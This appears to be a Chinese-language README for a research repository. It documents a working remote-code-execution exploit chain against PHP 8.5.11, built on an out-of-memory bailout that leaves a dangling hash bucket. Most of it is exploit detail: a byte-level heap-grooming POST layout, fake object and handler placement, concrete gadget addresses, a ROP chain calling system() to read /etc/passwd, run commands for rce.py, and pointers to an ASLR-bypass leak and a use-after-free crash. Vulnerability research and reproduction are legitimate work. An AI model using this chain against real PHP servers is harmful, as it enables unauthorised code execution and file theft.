一个可复现、与应用程序无关的远程代码执行 PoC,针对 PHP 8.5.11(2026 年 10 月的安全公告)。它将两个 2026 年 PHP 内存破坏漏洞转化为 system("cat /etc/passwd"),且无需任何应用程序代码——受害者的 index.php 仅输出 ok。
longjmp 放弃了一个构建到一半的 HashTable,留下一个悬空的 bucket,随后在 shutdown 时被销毁。这就是 RCE 原语。一切均可在 Podman 容器中完全复现。已确认的端到端结果是 ./exploits/cve-2026-109618-oom/rce.py 读取 /etc/passwd。
当 PHP 内存耗尽时,它会调用 zend_mm_safe_error() → zend_error_noreturn() → zend_bailout()(longjmp)。在 8.5.11 中,哈希表插入不是分配可失败的,因此 OOM 可能在 HashTable 处于半修改状态时展开。
破坏点位于 _zend_hash_str_add_or_update_i() 的 add_to_hash(Zend/zend_hash.c:960):
add_to_hash:
idx = ht->nNumUsed++; /* (1) bumped first */
ht->nNumOfElements++; /* (2) bumped */
p = ht->arData + idx;
p->key = key = zend_string_init(str, len); /* (3) OOM -> zend_bailout */
如果键副本 zend_string_init 发生 OOM,则桶 p 会保持未写入状态(key/h/val 均为陈旧值),但 nNumUsed 已经递增。在请求关闭时,zend_array_destroy() 会遍历 nNumUsed 个桶,并对未写入桶的垃圾 val 调用 i_zval_ptr_dtor(&p->val)——这是一个由攻击者构造的值。8.5.12 的修复将每个此类分配替换为可失败变体(femalloc/fperealloc2 + HASH_FALLIBLE),使插入能够干净地返回,而不是中途退出。
该漏洞利用完全围绕让一个受控的 2560 字节块成为 HashTable 的 arData,而该 HashTable 的最后一个桶正是 OOM 桶。必须平衡的值及其原因如下:
| 类型 / 变量 | 大小 | 作用 |
|---|---|---|
zend_array(HashTable)头部 | 56 B | arData、nNumUsed、nTableSize、pDestructor |
Bucket | 32 B | val(16) + h(8) + key(8);未写入的那个是我们的目标 |
zval | 16 B | value(8) + u1.type_info(4) + u2(4)——我们设置 type_info |
zend_string | 24 B 头部 + 数据 | 填充值;其长度决定分配器 bin |
zend_object | 56 B | 伪造对象:gc(8) handle(4) ce(8) handlers(8) properties(8) |
zend_object_handlers | offset/free_obj/dtor_obj | free_obj 是枢轴 gadget |
zend_mm_heap / zend_mm_chunk | — | free_slot[]、free_tail、map[](bin 28 = 2560 B) |
整个风水布局所依赖的两个分配器事实:
HT_SIZE_EX(64) = 64*32 buckets + 128*4 hash = 2560),因为
HT_SIZE_TO_MASK(n) = -(2n)。b150(被遍历)和 b0e0(被丢弃)是 $_POST["a"] 的两份副本,
由符号表 SEPARATE_ARRAY/间接路径创建;每个
a[<large>][c]=v 字段都会将 <large> 键插入到两者中,而 b0e0 总是
领先 1 个键。只有 b150 会被 php_request_shutdown 销毁,因此
OOM 必须落在 b150 上。rce.py)请求体是一个 urlencoded POST:
memshift=<40 KB of M>&
a[X…0000000000000000][c]=v& … (30 fields)
pad=<crafted 2528 B>&
pad=x&
a[X…0000000000000030][c]=v& … (fields 30..59)
memshift(约 40 KB) 消耗的内存刚好足以让 OOM 在 OOM 字段的第一次插入时触发,即插入到 b150(被遍历的表)中,而不是被丢弃的 b0e0。pad=<2528 B>:add_post_var 先执行 estrndup(A),再执行 ZVAL_STRINGL_FAST(B, copy)。实测 B = padlen + 32,因此 padlen=2528 得到 A = 2529、B = 2560 —— 两者都落在 bin 28。A 由 estrndup 路径释放。pad=x(重复键) 会 DTOR 保留的副本 B,释放第二个、不同的 bin-28 槽位。此时 b150 的 32→64 扩容会复用 B —— 我们控制的字节成为 b150 的 arData。zend_hash_rehash 重写的哈希数组。IS_OBJECT,且 value.obj = &fake_object。i_zval_ptr_dtor → rc_dtor_func → zend_objects_store_del → handlers->free_obj = pivot → ROP → system("cat /etc/passwd > /var/www/html/leak.txt");随后 GET /leak.txt 即可返回该文件。两个微妙的要求耗费了大量实际调试时间(均在 rce.py 中):
__libc_system 使用 movaps(16 字节对齐),因此在 pop rdi; ret 和 system 之间插入一个额外的 ret gadget —— 否则会在 __libc_system 内部、execve 之前触发 SIGSEGV。setarch -R)基于 php-rce-oom-debug:8.5.11(基础镜像 php-rce-base:8.5.11)实测。libphp/libc 基址在基础构建中相同;堆偏移 B 会随已安装的库变化(安装 gdb 使其移动),因此针对不同镜像需重新测量 B,或在开启 ASLR 时通过信息泄露来解析它。
| 符号 | 地址 |
|---|---|
| libphp 基址 | 0x7ffff4400000 |
| libc 基址 | 0x7ffff7cd4000 |
system | 0x7ffff7d20490(libc+0x4c490) |
pop rdi; ret | 0x7ffff7cfb7e5(libc+0x277e5) |
ret | 0x7ffff7cfb7e6 |
pivot(jump_fcontext+0x2e) | 0x7ffff49fb8ae |
主 chunk([anon:zend_alloc]) | 0x7ffff7200000 |
B(arData 原始块 = b150->arData - 512) | 0x7ffff725e400 |
| 伪造 handlers | B + 24 + 2000 = 0x7ffff725ebe8 |
| 伪造对象 | B + 24 + 2048 = 0x7ffff725ec18 |
cmd 字符串 | B + 24 + 2200 = 0x7ffff725ecb0 |
ROP 链(相对于伪造对象 o):
o+0x40 pop rdi; ret (r8 loaded by the pivot)
o+0x48 &cmd (rdi)
o+0x50 ret (stack alignment for movaps)
o+0x58 system
需要 Podman。从仓库根目录执行:
# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build
# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up
# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084
预期输出:
[+] RCE: read /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…
# stale fatal-backtrace UAF crash (CVE-2026-109619)
./exploits/cve-2026-109619-stale-state/run.sh up && ./exploits/cve-2026-109619-stale-state/run.sh uaf
# info-leak / ASLR-bypass primitive (addresses + read path)
./exploits/cve-2026-109619-info-leak/run.sh build && ./exploits/cve-2026-109619-info-leak/run.sh up && ./exploits/cve-2026-109619-info-leak/run.sh leak
# negative control (patched 8.5.12 survives the same sequence)
./exploits/negative-control/run.sh up && ./exploits/negative-control/run.sh
affected-versions/ vendored vulnerable PHP tarballs (8.2.34/8.3.35/8.4.26/8.5.11)
patched-versions/ vendored patched 8.5.12 tarball (negative control)
references/ the two GHSA advisories + the 2004 Esser advisory + php-bug-78876
container/
base/ shared Apache 2.4 + PHP build (parameterized by version)
cve-2026-109618-oom/ OOM victim (memory_limit=8M) + gdb debug layer
cve-2026-109619-stale-state/ stale-backtrace UAF victim + gdb debug layer
cve-2026-109619-info-leak/ info-leak / ASLR-bypass victim
negative-control/ patched 8.5.12, same config
exploits/
lib/client.py raw-socket HTTP client (controlled framing)
cve-2026-109618-oom/ exploit.py (trigger), stalealias.py, rce.py, trace.py/trace.sh
cve-2026-109619-stale-state/ producer/consumer/exploit/rop/leak + run.sh + trace.sh
cve-2026-109619-info-leak/ leak.py + run.sh
negative-control/
docs/
attack-surface.md exact vulnerable source locations
memory-layout.md measured object graph + ROP + addresses
heap-feng-shui.md the grooming progress log (§8.8–8.16 is the RCE chain)
info-leak.md the info-leak / ASLR-bypass primitive
exploit-plan.md / implementation-plan.md / tasks.md
setarch -R),因此地址是固定的。
若启用 ASLR,堆基址和模块基址必须来自
cve-2026-109619-info-leak 原语(docs/info-leak.md)。B 偏移量依赖于镜像(已安装的库会移动堆的位置);对于不同的镜像,需用 gdb 跟踪器重新测量
B = b150->arData - 512。index.php 不进行任何文件系统 I/O,且
不参与该漏洞利用。docs/。